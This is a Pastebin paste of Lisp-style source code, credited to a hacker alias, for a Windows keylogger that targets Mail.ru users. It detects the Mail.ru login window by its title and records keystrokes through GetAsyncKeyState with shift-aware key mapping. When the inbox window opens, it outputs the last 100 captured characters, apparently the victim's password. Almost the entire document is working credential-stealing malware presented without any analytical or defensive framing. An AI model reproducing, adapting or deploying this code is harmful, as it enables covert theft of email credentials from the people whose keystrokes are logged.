Advertisement
Guest User

Untitled

a guest
Feb 18th, 2020
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lisp 2.34 KB | None | 0 0
  1. ;; Author: BByte(HackPower - HN1)
  2. (defun s_cmp_p(s p)
  3. (let j 0)
  4. (let c 0)
  5. (let l (- (length p) 1))
  6. (loop (< j (length s))
  7. (cond ((= (aref s j) (aref p c))(let c (+ c 1))))
  8. (cond ((= c l) (exit 1)))
  9. (let j (+ j 1))) 0)
  10.  
  11. (defun get_status(hwnd)
  12. (let s (malloc 255))
  13. (let result 1)
  14. (let c 0)
  15. (callapi "GetWindowTextA" "user32.dll" hwnd s 255)
  16. (loop (< c 2)
  17. (cond ((= c 0)(let p "Mail.ru:,,,"))
  18.           ((= c 1)(let p "Входящие-ПочтаMail.ru")))
  19. (cond ((= (s_cmp_p (getstring s) p) 1)        
  20.            (cond ((= c 0)(let result 2))
  21.                      ((= c 1)(let result 3)))))
  22. (let c (+ c 1)))
  23. (free s) result)
  24.  
  25. (defun get_pressed_key(k)
  26. (let result 0)
  27. (let idx 1)
  28. (let sz 11)
  29. (let a '(192 189 187 220 219 221 186 222 188 190 191))
  30. (let b '(96 45 61 92 91 93 59 39 44 46 47))
  31. (cond ((> (callapi "GetKeyState" "user32.dll" (hex "10")) (hex "8001"))
  32.             (let a '(192 49 50 51 52 53 54 55 56 57 48 189 187 220 219 221 186 222 188 190 191))
  33.     (let b '(126 15 64 17 36 37 94 38 42 40 41 95 43 124 123 125 58 34 60 62 63))
  34.             (let idx 0)(let sz 21)))
  35. (cond ((bitwise-and (> k (hex "29")) (< k (hex "5B")))
  36.      (cond ((= idx 1)(let result (callapi "tolower" "msvcrt.dll" k)))
  37.                ((= idx 0) (let result (callapi "toupper" "msvcrt.dll" k))))))
  38. (let j 0)
  39. (loop (< j sz)
  40. (cond ((= k (aref a j))
  41.     (let result (aref b j))))
  42. (let j (+ j 1)))result)
  43.  
  44. (defun main()
  45. (let log (malloc 512))
  46. (let c 0)
  47. (callapi "memset" "msvcrt.dll" log 0 512)
  48. (loop 1
  49. (let hwnd (callapi "GetForegroundWindow" "user32.dll"))
  50. (let status (get_status hwnd))
  51. (cond ((= status 2)
  52. (let j 0)
  53. (loop (< j 255)
  54. (cond ((= (callapi "GetAsyncKeyState" "user32.dll" j) (hex "FFFF8001"))
  55. (let ch (get_pressed_key j))
  56. (cond ((> ch 0)
  57. (setbyte log c ch)
  58. (let c (+ c 1))
  59. (cond ((= c 512)
  60. (callapi "memset" "msvcrt.dll" log 0 512)
  61. (let c 0)))))))
  62. (let j (+ j 1))))
  63. ((bitwise-and (= status 3)  (> c 0))
  64. (cond ((bitwise-or (> c 100) (= c 100))
  65. (let temp (malloc 150))
  66. (let k 0)
  67. (let c (- c 100))
  68. (loop (< k 100)
  69. (setbyte temp k (getbyte log (+ c k)))
  70. (let k (+ k 1)))
  71. (callapi "memset" "msvcrt.dll" log 0 512)
  72. (callapi "memcpy" "msvcrt.dll" log temp 100)
  73. (free temp)))
  74. ;;##############################
  75.  
  76. (print (getstring log))
  77.  
  78. ;;##############################
  79. (callapi "memset" "msvcrt.dll" log 0 512)
  80. (let c 0)
  81. ))))
  82.  
  83. (main)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement